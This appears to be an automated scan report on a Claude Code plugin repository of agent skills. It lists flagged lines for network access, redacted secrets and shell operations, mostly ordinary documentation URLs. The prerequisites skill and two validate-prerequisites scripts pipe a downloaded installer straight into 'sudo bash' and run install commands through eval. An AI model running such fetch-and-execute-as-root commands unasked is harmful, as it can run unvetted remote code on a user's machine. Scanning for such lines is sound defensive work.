If the code uses the `AnthropicBedrockMantle` client (Python `anthropic[bedrock]`, TypeScript `@anthropic-ai/bedrock-sdk`, Java `BedrockMantleBackend`, Go `bedrock.NewMantleClient`, etc.) or targets `https://bedrock-mantle.{region}.api.aws/ - Network accessline 521
If the code uses `AnthropicAWS` / `AnthropicAws` / `anthropicaws.NewClient` / `AnthropicAwsClient` (or targets `https://aws-external-anthropic.{region}.api.aws`), it is running on **Claude Platform on AWS** — Anthropic-operated, same-day AP
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/models.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/tool-use-concepts.md
- Network accessline 99
Set a `max_continuations` limit (e.g., 5) to prevent infinite loops. For the full guide, see: `https://platform.claude.com/docs/en/build-with-claude/handling-stop-reasons` - Network accessline 219
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling` - Network accessline 229
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool` - Network accessline 312
model="claude-opus-5", max_tokens=1024, betas=["mcp-client-2025-11-20"], mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], - Network accessline 313
betas=["mcp-client-2025-11-20"], mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], tools=[{"type": "mcp_toolset", "mcp_server_name": "example-mcp"}], - Network accessline 314
mcp_servers=[{"type": "url", "url": "https://example/sse", "name": "example-mcp"}], - Network accessline 332
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/implement-tool-use` - Network accessline 342
- URL: `https://platform.claude.com/docs/en/agents-and-tools/computer-use/overview` - Network accessline 354
- URL: `https://platform.claude.com/docs/en/build-with-claude/context-editing` - Network accessline 419
- Docs: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md` - Network accessline 435
| Language | Declaration | |---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | - Network accessline 436
|---|---| | Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | | Go | `anthropic.ToolUnionParam{OfBashTool20250124: &anthropic.ToolBash20250124Param{}}` | - Network accessline 437
| Python / TypeScript / Ruby / cURL | plain object `{"type": "bash_20250124", "name": "bash"}` | - Network accessline 523
- URL: `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview`
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/shared/vendor-guide.md
- Network accessline 22
1. **The official Anthropic SDK** for the project's language (`anthropic`, `@anthropic-ai/sdk`, `com.anthropic.*`, etc.). This is the default whenever a supported SDK exists for the project. 2. **Raw HTTP** (`curl`, `requests`, `fetch`, `ht - Network accessline 23
2. **Raw HTTP** (`curl`, `requests`, `fetch`, `httpx`, etc.) — only when the user explicitly asks for cURL/REST/raw HTTP, the project is a shell/cURL project, or the language has no official SDK. - Network accessline 27
**Never guess SDK usage.** Function names, class names, namespaces, method signatures, and import paths must come from explicit documentation — either the `{lang}/` files in this skill or the official SDK repositories or documentation links - Network accessline 102
Every SDK language above supports both the beta Tool Runner and Managed Agents (beta) — Python (`@beta_tool` decorator), TypeScript (`betaZodTool` + Zod), Java (annotated classes), Go (`BetaToolRunner` in the `toolrunner` pkg), Ruby (`BaseT - Network accessline 189
**Partner pricing:** The prices above are Anthropic first-party API rates — they also apply to Claude on Microsoft Foundry, which is billed through the Microsoft Marketplace at standard API rates. Claude on Amazon Bedrock and Vertex AI is p - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Network accessline 217
- **SDK code or `ant` CLI:** just run it. The zero-arg client constructor and every `ant …` subcommand pick up the profile automatically — no env var needed. - **Raw `curl` / HTTP:** get a short-lived token with `ant auth print-credentials - Network accessline 218
[Credential-related source omitted] - Access to secretsline 220
[Credential-related source omitted] - Network accessline 289
| C# | `Betas = ["fast-mode-2026-02-01"]` | `Speed = Speed.Fast` (`Anthropic.Models.Beta.Messages`) | | PHP | `betas: ['fast-mode-2026-02-01']` | `speed: 'fast'` | | cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` i - Network accessline 291
| cURL | `anthropic-beta: fast-mode-2026-02-01` header | `"speed": "fast"` in body | - Access to secretsline 343
[Credential-related source omitted] - Access to secretsline 462
[Credential-related source omitted] - Network accessline 470
**All SDK languages use the same multi-file layout** — directory `{lang}/claude-api/` containing `README.md` (install, client init, basic request, thinking, caching, stop details, misc), `tool-use.md` (tool definitions, agentic loop, Anthro
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/typescript/claude-api/README.md
- Access to secretsline 21
[Credential-related source omitted] - Network accessline 96
{ type: "image", source: { type: "url", url: "https://example.com/image.png" }, - Network accessline 97
type: "image", source: { type: "url", url: "https://example.com/image.png" }, }, - Network accessline 98
source: { type: "url", url: "https://example.com/image.png" },
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/typescript/claude-api/tool-use.md
- Network accessline 493
- `https://github.com/anthropics/anthropic-sdk-typescript/blob/main/examples/tools-helpers-memory.ts`
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/typescript/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for TypeScript. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the TypeScript SDK repo **or the relevant docs pag - Access to secretsline 19
[Credential-related source omitted] - Network accessline 68
); console.log(session.id, session.status); console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 70
console.log(`Trace: https://platform.claude.com/workspaces/default/sessions/${session.id}`); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 105
{ type: "github_repository", url: "https://github.com/owner/repo", - Network accessline 106
type: "github_repository", url: "https://github.com/owner/repo", mount_path: "/workspace/repo", - Network accessline 107
url: "https://github.com/owner/repo", - Access to secretsline 109
[Credential-related source omitted] - Network accessline 341
model: "claude-opus-5", mcp_servers: [ { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" }, - Network accessline 342
mcp_servers: [ { type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" }, ], - Network accessline 343
{ type: "url", name: "my-tools", url: "https://my-mcp-server.example.com/sse" },
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/SKILL.md
- Network accessline 53
| Build generative UI | Return compact model-consumable data, not rich formatting. | Render rich content in `useRenderToolCall` or the CopilotKit render map. | Confirm rendering while streaming and after stream end. | | Share agent state | - Network accessline 55
| Debug stream failures | `curl -N` the AG-UI endpoint with a minimal `RunAgentInput` body. | Inspect browser console and network after backend stream is proven good. | Compare raw SSE events with rendered UI state. |
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/architecture.md
- Network accessline 62
- **Architecture A/B**: run the FastAPI/ASP.NET service directly; point the CopilotKit runtime's `HttpAgent` at `http://localhost:<port>/`. - Network accessline 84
- Token audience is `https://ai.azure.com/.default` — the default `cognitiveservices.azure.com` scope yields 401 "audience is incorrect". - Keyless (Entra / `DefaultAzureCredential`) is the norm; the async Python credential path needs `aioh
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/deploy-loop.md
- Network accessline 41
Deploy the AG-UI endpoint (Architecture A/C service, or rely on the hosted invocations endpoint for B) where the CopilotKit runtime can reach it server-side; set the runtime's agent URL env var accordingly. Keep auth keyless (Entra) with th
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/hitl.md
- Network accessline 24
**`.NET`** uses a different mechanism than Python's wrapper flag: wrap the tool in `ApprovalRequiredAIFunction`, then wrap the *agent* in a `DelegatingAIAgent` that bridges approval content to/from the `request_approval` client tool call (t - Network accessline 105
**Root cause (isolated by calling the hosted agent's bare `/responses` endpoint with curl — no AG-UI, no CopilotKit in the loop):** chaining `previous_response_id` through a response that resolved an `mcp_approval_response` makes the hosted
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-hosted-agent-copilotkit/references/troubleshooting.md
- Network accessline 9
1. `curl -N -X POST <agui-endpoint> -H 'Content-Type: application/json' -d '<minimal RunAgentInput>'` — read raw AG-UI SSE events. Reproduces → frontend innocent. - Network accessline 36
| Symptom | Root cause | Fix | | --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | - Network accessline 37
| --- | --- | --- | | 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` | | 403 `Microsoft.MachineLearningServices/workspaces/agents/action` despit - Network accessline 38
| 401 "audience is incorrect" | Token requested with default `cognitiveservices.azure.com` scope | Request scope `https://ai.azure.com/.default` |
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-cli/scripts/setup-github-app.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 61
$(basename "$0") --github-org myorg --app-name myorg-backstage \\ --homepage-url https://backstage.example.com \\ - Network accessline 62
--homepage-url https://backstage.example.com \\ - Network accessline 63
--callback-url https://backstage.example.com/api/auth/github/handler/frame \\ - Network accessline 67
$(basename "$0") --github-org myorg --app-name myorg-backstage \ --homepage-url https://backstage.example.com \ - Network accessline 68
--homepage-url https://backstage.example.com \ - Network accessline 69
--callback-url https://backstage.example.com/api/auth/github/handler/frame \ - Network accessline 73
$(basename "$0") --github-org myorg --app-name myorg-argocd \\ --homepage-url https://argocd.example.com \\ - Network accessline 74
--homepage-url https://argocd.example.com \\ - Network accessline 75
--callback-url https://argocd.example.com/api/dex/callback \\ - Network accessline 248
log_warning "GitHub Apps must be created via web UI:" echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" - Network accessline 249
echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" echo "" - Network accessline 250
echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/apps/new" - Network accessline 291
log_warning "OAuth Apps must be created via web UI:" echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" - Network accessline 292
echo "" echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" echo "" - Network accessline 293
echo "1. Go to: https://github.com/organizations/${GITHUB_ORG}/settings/applications/new" - Access to secretsline 319
[Credential-related source omitted] - Access to secretsline 326
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 359
[Credential-related source omitted] - Access to secretsline 386
[Credential-related source omitted] - Access to secretsline 421
[Credential-related source omitted] - Access to secretsline 422
[Credential-related source omitted] - Access to secretsline 423
[Credential-related source omitted] - Access to secretsline 435
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-codespaces-golden-paths/references/devcontainer-templates.md
- Network accessline 212
[](https://codespaces.new/${{ values.repoUrl }}?quickstart=1)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-harness-engineering/SKILL.md
- Network accessline 120
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 157
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-sdk/SKILL.md
- Network accessline 106
- [GitHub Copilot SDK](https://github.com/github/copilot-sdk)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-issue-ops/dispatcher.py
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/github-issue-ops/test_dispatcher.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/LICENSE.txt
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/mcp-builder/scripts/evaluation.py
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework/SKILL.md
- Network accessline 21
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 22
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 50
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 51
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 52
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 53
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 110
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 111
- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 112
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework/references/dotnet.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-agent-framework/references/python.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-code-reference/SKILL.md
- Network accessline 4
Look up official Microsoft API references, SDK signatures, packages, and working code samples before writing or fixing Azure SDK, .NET, Microsoft Graph, or Microsoft API code. Use when verifying method names, overloads, parameters, authenti - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." --- - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 132
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-docs/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/microsoft-skill-creator/SKILL.md
- Network accessline 4
Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." context: "fork" - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 24
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 99
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 157
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 158
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 159
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-aeg-feature/scripts/validate_aeg_contract.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-ai-catalog/SKILL.md
- Network accessline 70
- [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-authentication/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-catalog-db-performance/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations/references/azure-devops.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations/references/github.md
- Network accessline 27
First-party source: <https://backstage.io/docs/integrations/github/github-apps>.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-external-integrations/references/servicenow.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-framework/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-kubernetes/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-mcp-actions/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-notifications/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-permissions/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-backstage-search/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration/SKILL.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Network accessline 118
# Access ArgoCD kubectl port-forward svc/argocd-server -n argocd 8080:443 # Visit https://localhost:8080 - Network accessline 120
# Visit https://localhost:8080 - Network accessline 122
# Access Grafana kubectl port-forward svc/prometheus-grafana -n observability 3000:80 # Visit http://localhost:3000 - Network accessline 124
# Visit http://localhost:3000
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration/references/rollback.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-deploy-orchestration/references/troubleshooting.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites/SKILL.md
- Network accessline 72
# Azure CLI curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 73
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 73
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 75
# Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg - Dangerous shell operationline 76
[Credential-related source omitted] - Network accessline 76
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Dangerous shell operationline 77
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Dangerous shell operationline 78
sudo apt update && sudo apt install terraform - Network accessline 80
# kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" - Network accessline 81
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" - Dangerous shell operationline 82
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites/scripts/validate-cli-prerequisites.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 39
["terraform"]="Terraform IaC|terraform version|brew install terraform" ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Dangerous shell operationline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 48
["jq"]="JSON Processor|jq --version|brew install jq" ["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" - Network accessline 49
["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" ["git"]="Git|git --version|brew install git" - Network accessline 50
["curl"]="HTTP Client|curl --version|built-in" - Dangerous shell operationline 93
local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed") - Dangerous shell operationline 100
eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd" - Dangerous shell operationline 116
if eval "$check_cmd" &> /dev/null; then
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-prerequisites/scripts/validate-prerequisites.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 39
["terraform"]="Terraform IaC|terraform version|brew install terraform" ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Dangerous shell operationline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 40
["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 48
["jq"]="JSON Processor|jq --version|brew install jq" ["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" - Network accessline 49
["yq"]="YAML Processor|yq --version|brew install yq" ["curl"]="HTTP Client|curl --version|built-in" ["git"]="Git|git --version|brew install git" - Network accessline 50
["curl"]="HTTP Client|curl --version|built-in" - Dangerous shell operationline 93
local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed") - Dangerous shell operationline 100
eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd" - Dangerous shell operationline 116
if eval "$check_cmd" &> /dev/null; then
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/SKILL.md
- Network accessline 128
- [GitHub Copilot custom instructions](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-repository-instructions/add-repository-instructions) - Network accessline 129
- [VS Code prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/scripts/install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/scripts/test_install_workspace_kit.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/open-horizons-workspace-kit/templates/mcp.json
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/python-package-management/SKILL.md
- Network accessline 35
Uses [uv](https://github.com/astral-sh/uv) for dependency management and - Network accessline 36
[poethepoet](https://github.com/nat-n/poethepoet) for task automation. - Network accessline 241
- `released` -> `Development Status :: 5 - Production/Stable` - See the PyPI classifier list for the available classifier values: `https://pypi.org/classifiers/` - Network accessline 243
`https://pypi.org/classifiers/`
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/plugins/open-horizons-platform/skills/agent-skills/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/agents/SKILL.md
harness/claude-code/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/SKILL.md
- Network accessline 70
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 71
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 72
